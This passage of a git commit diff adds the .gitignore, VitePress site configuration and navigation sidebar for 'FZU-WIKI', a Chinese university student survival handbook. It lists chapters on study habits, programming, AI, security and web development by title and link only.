commit 2233526534b3dceff39d3a48defa7403afd6fd01
Author: xinghang&IT-Department <moyingetlog@hotmail.com>
Date:   Sat Aug 10 19:46:55 2024 +0800

    ceshi

diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..2989156
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,7 @@
+node_modules
+dist
+cache
+.temp
+.vitepress/dist
+dev-dist
+package-lock.json
\ No newline at end of file
diff --git a/.vitepress/config.mjs b/.vitepress/config.mjs
new file mode 100644
index 0000000..cf81375
--- /dev/null
+++ b/.vitepress/config.mjs
@@ -0,0 +1,54 @@
+import { defineConfig } from 'vitepress'
+import { chapter2_old, chapter3_old, chapter4_old, chapter5_old, chapter6_old, chapter7_old, chapter8_old, chapter9_old, main_sidebar, main_sidebar_old } from './sidebar.js';
+// https://vitepress.dev/reference/site-config
+export default defineConfig({
+  title: "FZU-WIKI",
+  description: "FZU生存手册",
+  themeConfig: {
+    // https://vitepress.dev/reference/default-theme-config
+    nav: [
+      { text: '首页', link: '/' },
+      { text: '章节', items: [
+        { text: '1. 前言', link: '/技术资源汇总(杭电支持版)/' },
+        { text: '2. 高效学习', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.高效学习' },
+        { text: '3. 编程思维体系构建', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.编程思维体系构建' },
+        { text: '4. 人工智能', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.人工智能' },
+        { text: '5. 富有生命的嵌入式', link: '/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.富有生命的嵌入式' },
+        { text: '6. 计算机安全', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.计算机安全' },
+        { text: '7. 网络应用开发', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.网络应用开发' },
+        { text: '8. 基础学科', link: '/技术资源汇总(杭电支持版)/8.基础学科/8.基础学科' },
+        { text: '9. 计算机网络', link: '/技术资源汇总(杭电支持版)/9.计算机网络/9.计算机网络' },
+      ]}
+    ],
+
+    sidebar: {
+      '/': main_sidebar(),
+      '/技术资源汇总(杭电支持版)/': main_sidebar_old(),
+      '/技术资源汇总(杭电支持版)/2.高效学习/': chapter2_old(),
+      '/技术资源汇总(杭电支持版)/3.编程思维体系构建/': chapter3_old(),
+      '/技术资源汇总(杭电支持版)/4.人工智能/': chapter4_old(),
+      '/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/': chapter5_old(),
+      '/技术资源汇总(杭电支持版)/6.计算机安全/': chapter6_old(),
+      '/技术资源汇总(杭电支持版)/7.网络应用开发/': chapter7_old(),
+      '/技术资源汇总(杭电支持版)/8.基础学科/': chapter8_old(),
+      '/技术资源汇总(杭电支持版)/9.计算机网络/': chapter9_old(),
+      
+    },
+    socialLinks: [
+      { icon: 'github', link: 'https://gitea.xinxijishubu.asia/moyin/fzu-product' }
+    ],
+
+    search: {
+      provider: 'local'
+    },
+    footer: {
+      message: 'Made with ❤️ by ALL 协作者',
+      copyright: 'Copyright © 2023-present Evan You && ALL 协作者'
+    },
+    lastUpdatedText: '上次更改',
+    docFooter: {
+      prev: '上一小节',
+      next: '下一小节'
+    },
+  }
+})
diff --git a/.vitepress/sidebar.js b/.vitepress/sidebar.js
new file mode 100644
index 0000000..f6b8769
--- /dev/null
+++ b/.vitepress/sidebar.js
@@ -0,0 +1,581 @@
+import fs from 'fs';
+import path from 'path';
+
+export function main_sidebar() {
+  return [
+    {
+      text: '简介',
+      collapsed: true,
+      items: [
+        { text: '简介', link: '/简介' },
+        { text: '使用指南', link: '/使用指南' },
+        { text: '技术资源汇总(杭电支持版)', link: '/技术资源汇总(杭电支持版)/内容索引' },
+      ]
+    },
+    {
+      text: '1.杭电生存指南（最重要模块）',
+      collapsed: true,
+      items: [
+        { text: '1.1 人文社科的重要性（韩健夫老师寄语）', link: '/1.杭电生存指南/1.1人文社科的重要性（韩健夫老师寄语）' },
+        { text: '1.2 竞赛指北', link: '/1.杭电生存指南/1.2竞赛指北' },
+        { text: '1.3 导师选择', link: '/1.杭电生存指南/1.3导师选择' },
+        { text: '1.4 小心项目陷阱', link: '/1.杭电生存指南/1.4小心项目陷阱' },
+        { text: '1.5 小组作业避雷指南', link: '/1.杭电生存指南/1.5小组作业避雷指南' },
+        { text: '1.6 正确解读GPA', link: '/1.杭电生存指南/1.6正确解读GPA' },
+        { text: '1.7 杭电出国自救指南', link: '/1.杭电生存指南/1.7杭电出国自救指南' },
+        { text: '1.8 转专业二三事', link: '/1.杭电生存指南/1.8转专业二三事' },
+        { text: '1.9 问题专题：好想进入实验室', link: '/1.杭电生存指南/1.9问题专题：好想进入实验室' },
+        { text: '1.10 如何读论文', link: '/1.杭电生存指南/1.10如何读论文' },
+        { text: '1.11 陷入虚无主义？进来看看吧', link: '/1.杭电生存指南/1.11陷入虚无主义？进来看看吧' },
+        { text: '1.12 选课原则与抢课技巧', link: '/1.杭电生存指南/1.12选课原则与抢课技巧' },
+        { text: '1.13 数学学习篇', link: '/1.杭电生存指南/1.13数学学习篇' },
+        { text: '1.14 杭电“失败”指南', link: '/1.杭电生存指南/1.14 杭电失败指南' },
+      ]
+    },
+    {
+      text: '贡献者',
+      link: '/contributors'
+    },
+    {
+      text: '贡献指南',
+      link: '/CONTRIBUTING'
+    }
+  ]
+}
+
+export function main_sidebar_old() {
+  return [
+    {
+      text: "2.高效学习",
+      collapsed: true,
+      items: [{ text: "2.高效学习", link: "/技术资源汇总(杭电支持版)/2.高效学习/2.高效学习" },
+      { text: '2.1高效的前提：摆脱高中思维', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.1高效的前提：摆脱高中思维' },
+      { text: '2.2优雅的使用工具', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.2优雅的使用工具' },
+      { text: '2.3高效的信息检索', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.3高效的信息检索' },
+      { text: '2.4优雅的记笔记', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.4优雅的记笔记' },
+      { text: '2.5以理工科的方式阅读英语', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.5以理工科的方式阅读英语' },
+      { text: '2.6学会使用AI辅助学习', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.6学会使用AI辅助学习' },]
+    },
+    {
+      text: "3.编程思维体系构建",
+      collapsed: true,
+      items: [
+        { text: '3.编程思维体系构建', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.编程思维体系构建' },
+        { text: '3.0 编程入门之道', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.0 编程入门之道' },
+        { text: '3.1该使用哪个编辑器？？？', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.1该使用哪个编辑器？？？' },
+        { text: '3.2算法杂谈', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2算法杂谈' },
+        { text: '3.3如何选择编程语言', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.3如何选择编程语言' },
+        { text: '3.4C语言', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4C语言' },
+        { text: '3.5git与github', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.5git与github' },
+        { text: '3.6Python（灵巧的胶水）', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6Python（灵巧的胶水）' },
+        { text: '3.X 聊聊设计模式和程序设计', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.X 聊聊设计模式和程序设计' },
+        { text: '3.Y 附加模块：Linux', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y 附加模块：Linux' }
+      ]
+    },
+    {
+      text: "4.人工智能",
+      collapsed: true,
+      items: [
+        { text: "4.人工智能", link: "/技术资源汇总(杭电支持版)/4.人工智能/4.人工智能" },
+        { text: '4.1前言', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.1前言' },
+        { text: '4.2机器学习（AI）快速入门（quick start）', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.2机器学习（AI）快速入门（quick start）' },
+        { text: '4.3人工智能导论及机器学习入门', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3人工智能导论及机器学习入门' },
+        { text: '4.4FAQ：常见问题', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.4FAQ：常见问题' },
+        { text: '4.5图网络略述（intro&GCN）', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.5图网络略述（intro&GCN）' },
+        { text: '4.6数据分析', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.6数据分析' },
+        { text: '4.7如何做研究', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.7如何做研究' },
+        { text: '4.8科研论文写作', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.8科研论文写作' },
+        { text: '4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents' },
+        { text: '4.10LLM Agent之结构化输出', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.10LLMAgent之结构化输出' },
+        { text: '4.11本章节内容的局限性', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.11本章节内容的局限性' },]
+    },
+    {
+      text: "5.富有生命的嵌入式",
+      collapsed: true,
+      items: [
+        { text: "5.富有生命的嵌入式", link: "/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.富有生命的嵌入式" },
+        { text: '5.1嵌入式是什么？可以吃吗？', link: '/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.1嵌入式是什么？可以吃吗？' },
+        { text: '5.2New meaning of C', link: '/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.2New meaning of C' },
+        { text: '5.3还玩裸机？上操作系统！', link: '/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.3还玩裸机？上操作系统！' }
+      ]
+    },
+    {
+      text: "6.计算机安全",
+      collapsed: true,
+      items: [
+        { text: "6.计算机安全", link: "/技术资源汇总(杭电支持版)/6.计算机安全/6.计算机安全" },
+        { text: '6.1Web安全', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.1Web安全' },
+        { text: '6.2二进制安全', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.2二进制安全' },
+        { text: '6.3密码学', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.3密码学' },
+        { text: '6.4安全杂项', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.4安全杂项' },
+        { text: '6.5学习资料推荐', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.5学习资料推荐' },]
+    },
+    {
+      text: "7.网络应用开发入门",
+      collapsed: true,
+      items: [
+        { text: "7.网络应用开发入门", link: "/技术资源汇总(杭电支持版)/7.网络应用开发/7.网络应用开发入门" },
+        { text: '7.1WEB开发入门', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.1WEB开发入门' },
+        { text: '7.2前端部分', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.1基础(三件套)' },
+        { text: '7.3后端部分', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.3.1基础部分' },
+      ]
+    },
+    {
+      text: "8.基础学科",
+      collapsed: true,
+      items: [
+        { text: "8.基础学科", link: "/技术资源汇总(杭电支持版)/8.基础学科/8.基础学科" },
+        { text: '8.1经济学科普Part1', link: '/技术资源汇总(杭电支持版)/8.基础学科/8.1经济学科普Part1' },
+      ]
+    },
+    {
+      text: "9.计算机网络",
+      collapsed: true,
+      items: [
+        { text: "9.计算机网络", link: "/技术资源汇总(杭电支持版)/9.计算机网络/9.计算机网络" },
+        { text: '9.1 计网速通', link: '/技术资源汇总(杭电支持版)/9.计算机网络/9.1计网速通' },
+      ]
+    },
+  ]
+}
+
+export function chapter2_old() {
+  return [
+    { text: '返回上一层', link: '/技术资源汇总(杭电支持版)/内容索引' },
+    {
+      text: '2.高效学习',
+      collapsed: false,
+      items: [
+        { text: '2.高效学习', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.高效学习' },
+        {
+          text: '2.1高效的前提：摆脱高中思维',
+          collapsed: true,
+          items: [
+            { text: '2.1高效的前提：摆脱高中思维', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.1高效的前提：摆脱高中思维' },
+            { text: '2.1.1悲壮的学习方式', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.1.1悲壮的学习方式' },
+            { text: '2.1.2浮躁的心理状态', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.1.2浮躁的心理状态' },
+            { text: '2.1.3错误的提问姿态', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.1.3错误的提问姿态' },
+            { text: '2.1.4书籍的盲目崇拜', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.1.4书籍的盲目崇拜' },
+            { text: '2.1.5错误的学习配比', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.1.5错误的学习配比' },
+          ]
+        },
+        { text: '2.2优雅的使用工具', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.2优雅的使用工具' },
+        {
+          text: '2.3高效的信息检索',
+          collapsed: true,
+          items: [
+            { text: '2.3高效的信息检索', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.3高效的信息检索' },
+            { text: '2.3.1阅读文档（B百度爬）', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.3.1阅读文档（B百度爬）' },
+            { text: '2.3.2检索论文核心内容', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.3.2检索论文核心内容' },
+            { text: '2.3.3优秀的开源社区', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.3.3优秀的开源社区' },
+            { text: '补充：为什么不要用百度', link: '/技术资源汇总(杭电支持版)/2.高效学习/补充：为什么不要用百度' },
+          ]
+        },
+        { text: '2.4优雅的记笔记', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.4优雅的记笔记' },
+        { text: '2.5以理工科的方式阅读英语', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.5以理工科的方式阅读英语' },
+        { text: '2.6学会使用AI辅助学习', link: '/技术资源汇总(杭电支持版)/2.高效学习/2.6学会使用AI辅助学习' },
+      ]
+    },
+  ]
+}
+
+export function chapter3_old() {
+  return [
+    { text: '返回上一层', link: '/技术资源汇总(杭电支持版)/内容索引' },
+    {
+      text: '3.编程思维体系构建',
+      collapsed: false,
+      items: [
+        { text: '3.编程思维体系构建', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.编程思维体系构建' },
+        { text: '3.0 编程入门之道', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.0 编程入门之道' },
+        { text: '3.1该使用哪个编辑器？？？', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.1该使用哪个编辑器？？？' },
+        {
+          text: '3.2算法杂谈',
+          collapsed: true,
+          items: [
+            { text: '3.2算法杂谈', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2算法杂谈' },
+            { text: '3.2.1手把手教你学算法——如何使用OJ（Online Judge）', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.1手把手教你学算法——如何使用OJ（Online Judge）' },
+            { text: '3.2.2ACM 竞赛从入门到入坟', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.2ACM 竞赛从入门到入坟' },
+          ]
+        },
+        { text: '3.3如何选择编程语言', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.3如何选择编程语言' },
+        {
+          text: '3.4C语言',
+          collapsed: true,
+          items: [
+            { text: '3.4C语言', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4C语言' },
+            { text: '3.4.1FAQ：常见问题', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.1FAQ：常见问题' },
+            { text: '3.4.2用什么写 C 语言', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.2用什么写 C 语言' },
+            { text: '3.4.3解决编程问题的普适性过程', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.3解决编程问题的普适性过程' },
+            { text: '3.4.4C语言前置概念学习', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.4C语言前置概念学习' },
+            {
+              text: '3.4.5阶段一：编程属性',
+              collapsed: true,
+              items: [
+                { text: '3.4.5阶段一：编程属性', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5阶段一：编程属性' },
+                { text: '3.4.5.1C语言自测标准——链表', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5.1C语言自测标准——链表' },
+              ]
+            },
+            {
+              text: '3.4.6阶段二：文字冒险（cool）',
+              collapsed: true,
+              items: [
+                { text: '3.4.6阶段二：文字冒险（cool）', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6阶段二：文字冒险（cool）' },
+                { text: '3.4.6.1.开始冒险', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.1.开始冒险' },
+                { text: '3.4.6.2.探索未知', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.2.探索未知' },
+                { text: '3.4.6.3.指明地点', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.3.指明地点' },
+                { text: '3.4.6.4.创建对象', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.4.创建对象' },
+                { text: '3.4.6.5.捡起物品', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.5.捡起物品' },
+                { text: '3.4.6.6.绘制地图', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.6.绘制地图' },
+                { text: '3.4.6.7.增大距离', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.7.增大距离' },
+                { text: '3.4.6.8.移动方向', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.8.移动方向' },
+                { text: '3.4.6.9.练习：生成代码', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.9.练习：生成代码' },
+                { text: '3.4.6.10.增添属性', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.10.增添属性' },
+                { text: '3.4.6.11.设置条件', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.11.设置条件' },
+                { text: '3.4.6.12.开启关闭', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.12.开启关闭' },
+                { text: '3.4.6.13.编写解析器', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.13.编写解析器' },
+                { text: '3.4.6.14.丰富命令', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.14.丰富命令' },
+                { text: '3.4.6.15.赋予明暗', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.15.赋予明暗' },
+                { text: '3.4.6.16.结语：你终将自由', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.16.结语：你终将自由' },
+              ]
+            },
+            {
+              text: '3.4.7C基础知识杂谈',
+              collapsed: true,
+              items: [
+                { text: '3.4.7C基础知识杂谈', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7C基础知识杂谈' },
+                { text: '3.4.7.1GDB初探索（编程可阅览）', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1GDB初探索（编程可阅览）' },
+                { text: '3.4.7.1.1调试理论', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1.1调试理论' },
+                { text: '3.4.7.2C的历史问题：undefined behavior', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.2C的历史问题：undefined behavior' },
+                { text: '3.4.7.3C编译器干了什么', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.3C编译器干了什么' },
+                { text: '3.4.7.4Inline Assembly与链接加载', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载' },
+              ]
+            },
+          ]
+        },
+        { text: '3.5git与github', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.5git与github' },
+        {
+          text: '3.6Python（灵巧的胶水）',
+          collapsed: true,
+          items: [
+            { text: '3.6Python（灵巧的胶水）', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6Python（灵巧的胶水）' },
+            { text: '3.6.1从CS61A看编程语言学习', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.1从CS61A看编程语言学习' },
+            { text: '3.6.2环境配置', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.2环境配置' },
+            { text: '3.6.3安装python', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.3安装python' },
+            {
+              text: '3.6.4Python for fun',
+              collapsed: true,
+              items: [
+                { text: '3.6.4Python for fun', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4Python for fun' },
+                { text: '3.6.4.0阶段零：Python解释器', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.0阶段零：Python解释器' },
+                { text: '3.6.4.1阶段一：熟悉语句', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.1阶段一：熟悉语句' },
+                { text: '3.6.4.2阶段二：递归操作', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.2阶段二：递归操作' },
+                { text: '3.6.4.3阶段三：数据抽象', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.3阶段三：数据抽象' },
+                { text: '3.6.4.4阶段四：高阶函数', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.4阶段四：高阶函数' },
+                { text: '3.6.4.5阶段五：迭代生成', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.5阶段五：迭代生成' },
+                { text: '3.6.4.6结语', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.6结语' },
+              ]
+            },
+          ]
+        },
+        { text: '3.X 聊聊设计模式和程序设计', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.X 聊聊设计模式和程序设计' },
+        {
+          text: '3.Y 附加模块：Linux',
+          collapsed: true,
+          items: [
+            { text: '3.Y 附加模块：Linux', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y 附加模块：Linux' },
+            { text: '3.Y.1Linux概念普及', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.1Linux概念普及' },
+            { text: '3.Y.2双系统安装和发行版推荐', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.2双系统安装和发行版推荐' },
+            { text: '3.Y.3VMware的安装与安装Ubuntu22.04系统', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.3VMware的安装与安装Ubuntu22.04系统' },
+            { text: '3.Y.4WSL的安装', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.4WSL的安装' },
+            { text: '3.Y.5Linux初探索', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.5Linux初探索' },
+            { text: '3.Y.6Vim初探索', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.6Vim初探索' },
+            { text: '3.Y.7linux小任务', link: '/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.7linux小任务' },
+          ]
+        }
+      ]
+    },
+
+  ]
+}
+
+export function chapter4_old() {
+  return [
+    { text: '返回上一层', link: '/技术资源汇总(杭电支持版)/内容索引' },
+    {
+      text: '4.人工智能',
+      collapsed: false,
+      items: [
+        { text: '4.人工智能', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.人工智能' },
+        { text: '4.1前言', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.1前言' },
+        { text: '4.2机器学习（AI）快速入门（quick start）', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.2机器学习（AI）快速入门（quick start）' },
+        {
+          text: '4.3人工智能导论及机器学习入门',
+          collapsed: true,
+          items: [
+            { text: '4.3人工智能导论及机器学习入门', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3人工智能导论及机器学习入门' },
+            {
+              text: '4.3.1搜索',
+              collapsed: true,
+              items: [
+                { text: '4.3.1搜索', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3.1搜索' },
+                { text: '4.3.1.1程序示例——maze迷宫解搜索', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索' },
+                { text: '4.3.1.2项目：Tic-Tac-Toe井字棋', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.2项目：Tic-Tac-Toe井字棋' },
+              ]
+            },
+            {
+              text: '4.3.2知识推理',
+              collapsed: true,
+              items: [
+                { text: '4.3.2知识推理', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3.2知识推理' },
+                { text: '4.3.2.1程序示例——命题逻辑与模型检测', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测' },
+                { text: '4.3.2.2项目：扫雷，骑士与流氓问题', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.2项目：扫雷，骑士与流氓问题' },
+              ]
+            },
+            {
+              text: '4.3.3不确定性问题',
+              collapsed: true,
+              items: [
+                { text: '4.3.3不确定性问题', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3.3不确定性问题' },
+                { text: '4.3.3.1程序示例', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.1程序示例' },
+                { text: '4.3.3.2项目：遗传', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.2项目：遗传' },
+              ]
+            },
+            {
+              text: '4.3.4最优化',
+              collapsed: true,
+              items: [
+                { text: '4.3.4最优化', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3.4最优化' },
+                { text: '4.3.4.1程序示例', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.1程序示例' },
+                { text: '4.3.4.2项目：填词游戏', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.2项目：填词游戏' },
+              ]
+            },
+          ]
+        },
+        { text: '4.4FAQ：常见问题', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.4FAQ：常见问题' },
+        { text: '4.5图网络略述（intro&GCN）', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.5图网络略述（intro&GCN）' },
+        { text: '4.6数据分析', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.6数据分析' },
+        { text: '4.7如何做研究', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.7如何做研究' },
+        { text: '4.8科研论文写作', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.8科研论文写作' },
+        { text: '4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents' },
+        { text: '4.10LLM Agent之结构化输出', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.10LLMAgent之结构化输出' },
+        { text: '4.11本章节内容的局限性', link: '/技术资源汇总(杭电支持版)/4.人工智能/4.11本章节内容的局限性' },
+
+      ]
+    },
+  ]
+}
+
+export function chapter5_old() {
+  return [
+    { text: '返回上一层', link: '/技术资源汇总(杭电支持版)/内容索引' },
+    {
+      text: '5.富有生命的嵌入式',
+      collapsed: false,
+      items: [
+        { text: '5.富有生命的嵌入式', link: '/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.富有生命的嵌入式' },
+        { text: '5.1嵌入式是什么？可以吃吗？', link: '/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.1嵌入式是什么？可以吃吗？' },
+        { text: '5.2New meaning of C', link: '/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.2New meaning of C' },
+        { text: '5.3还玩裸机？上操作系统！', link: '/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.3还玩裸机？上操作系统！' },
+      ]
+    },
+  ]
+}
+
+export function chapter6_old() {
+  return [
+    { text: '返回上一层', link: '/技术资源汇总(杭电支持版)/内容索引' },
+    {
+      text: '6.计算机安全',
+      collapsed: false,
+      items: [
+        { text: '6.计算机安全', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.计算机安全' },
+        {
+          text: '6.1Web安全',
+          collapsed: true,
+          items: [
+            { text: '6.1Web安全', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.1Web安全' },
+            { text: '6.1.1SQL 注入', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.1.1SQL 注入' },
+          ]
+        },
+        {
+          text: '6.2二进制安全',
+          collapsed: true,
+          items: [
+            { text: '6.2二进制安全', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.2二进制安全' },
+            { text: '6.2.1基础工具的使用', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.2.1基础工具的使用' },
+            { text: '6.2.2软件破解、软件加固', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.2.2软件破解、软件加固' },
+            { text: '6.2.3漏洞挖掘、漏洞利用', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.2.3漏洞挖掘、漏洞利用' },
+          ]
+        },
+        { text: '6.3密码学', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.3密码学' },
+        { text: '6.4安全杂项', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.4安全杂项' },
+        { text: '6.5学习资料推荐', link: '/技术资源汇总(杭电支持版)/6.计算机安全/6.5学习资料推荐' },
+      ]
+    },
+  ]
+}
+
+export function chapter7_old() {
+  return [
+    { text: '返回上一层', link: '/技术资源汇总(杭电支持版)/内容索引' },
+    {
+      text: '7.网络应用开发',
+      collapsed: false,
+      items: [
+        { text: '7.网络应用开发入门', link: '/技术资源汇总(杭电支持版)/7.网络应用开发/7.网络应用开发入门' },
